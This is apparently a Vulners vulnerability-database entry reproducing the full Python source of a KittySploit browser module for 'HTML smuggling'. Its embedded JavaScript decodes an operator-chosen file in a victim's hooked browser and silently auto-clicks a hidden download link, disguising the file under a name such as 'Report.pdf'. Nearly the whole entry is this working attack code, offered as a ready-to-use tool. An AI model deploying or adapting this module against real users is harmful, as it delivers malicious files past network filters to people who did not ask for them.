Lucene search
+L

HTML Smuggling Download

🗓️ 31 Jul 2026 07:47:17Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

KittySploit HTML Smuggling Download module forces a file download via Blob URL.

Refs
Code
from kittysploit import *
import base64
import json
import os


class Module(BrowserAuxiliary):

	__info__ = {
		"name": "HTML Smuggling Download",
		"description": "Force a file download in the victim browser via Blob URL (HTML smuggling)",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}

	filename = OptString("Report.pdf", "Download filename presented to the user", True)
	content_b64 = OptString(
		"",
		"File content as base64 (preferred for binary). Empty = use content_text or local_path",
		False,
	)
	content_text = OptString(
		"",
		"Plaintext content if content_b64/local_path empty",
		False,
	)
	local_path = OptString(
		"",
		"Local file path to smuggle (read on operator side, sent as base64)",
		False,
	)
	mime = OptString(
		"application/octet-stream",
		"MIME type for the Blob",
		False,
	)
	auto_click = OptBool(True, "Programmatically click the download anchor", False)

	def _load_bytes(self):
		path = str(self.local_path or "").strip()
		if path:
			if not os.path.isfile(path):
				raise FileNotFoundError(f"local_path not found: {path}")
			with open(path, "rb") as fh:
				return fh.read()

		b64 = str(self.content_b64 or "").strip()
		if b64:
			return base64.b64decode(b64)

		text = str(self.content_text or "")
		if text:
			return text.encode("utf-8")

		# Small default decoy HTML if nothing provided
		return (
			b"<!doctype html><title>Report</title>"
			b"<h1>Document</h1><p>Generated by KittySploit HTML smuggling module.</p>"
		)

	def run(self):
		filename = str(self.filename or "download.bin").strip() or "download.bin"
		mime = str(self.mime or "application/octet-stream").strip() or "application/octet-stream"
		auto_click = self._to_bool(self.auto_click)

		try:
			raw = self._load_bytes()
		except Exception as exc:
			print_error(str(exc))
			return False

		if len(raw) > 8 * 1024 * 1024:
			print_error("Payload too large (>8MB). Reduce file size.")
			return False

		payload_b64 = base64.b64encode(raw).decode("ascii")
		print_status(f"Smuggling {len(raw)} byte(s) as {filename!r} ({mime})")

		code_js = f"""
		(function() {{
			const NAME = {json.dumps(filename)};
			const MIME = {json.dumps(mime)};
			const B64 = {json.dumps(payload_b64)};
			const AUTO = {str(auto_click).lower()};

			try {{
				const bin = atob(B64);
				const len = bin.length;
				const bytes = new Uint8Array(len);
				for (let i = 0; i < len; i++) bytes[i] = bin.charCodeAt(i);
				const blob = new Blob([bytes], {{ type: MIME }});
				const url = URL.createObjectURL(blob);
				const a = document.createElement('a');
				a.href = url;
				a.download = NAME;
				a.style.display = 'none';
				a.rel = 'noopener';
				document.body.appendChild(a);
				if (AUTO) {{
					a.click();
				}}
				setTimeout(function() {{
					try {{ URL.revokeObjectURL(url); }} catch (e) {{}}
					try {{ a.remove(); }} catch (e) {{}}
				}}, 4000);
				return JSON.stringify({{
					ok: true,
					filename: NAME,
					mime: MIME,
					bytes: len,
					auto_click: AUTO,
					page_url: location.href,
					note: AUTO
						? 'Download click dispatched (browser may still prompt)'
						: 'Anchor created without auto-click'
				}});
			}} catch (e) {{
				return JSON.stringify({{ ok: false, error: e.message || String(e) }});
			}}
		}})();
		"""

		result = self.send_js_and_wait_for_response(code_js, timeout=20.0)
		if not result:
			print_error("Failed to run HTML smuggling")
			return False
		if isinstance(result, str) and result.startswith("Error:"):
			print_error(result)
			return False

		try:
			data = json.loads(result)
		except json.JSONDecodeError as exc:
			print_error(f"Failed to parse response: {exc}")
			return False

		if not data.get("ok"):
			print_error(data.get("error", "smuggling failed"))
			return False

		print_success(f"Smuggled download: {data.get('filename')} ({data.get('bytes')} bytes)")
		if data.get("note"):
			print_info(data["note"])
		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2026 07:47Current
5.8Medium risk
Vulners AI Score5.8
1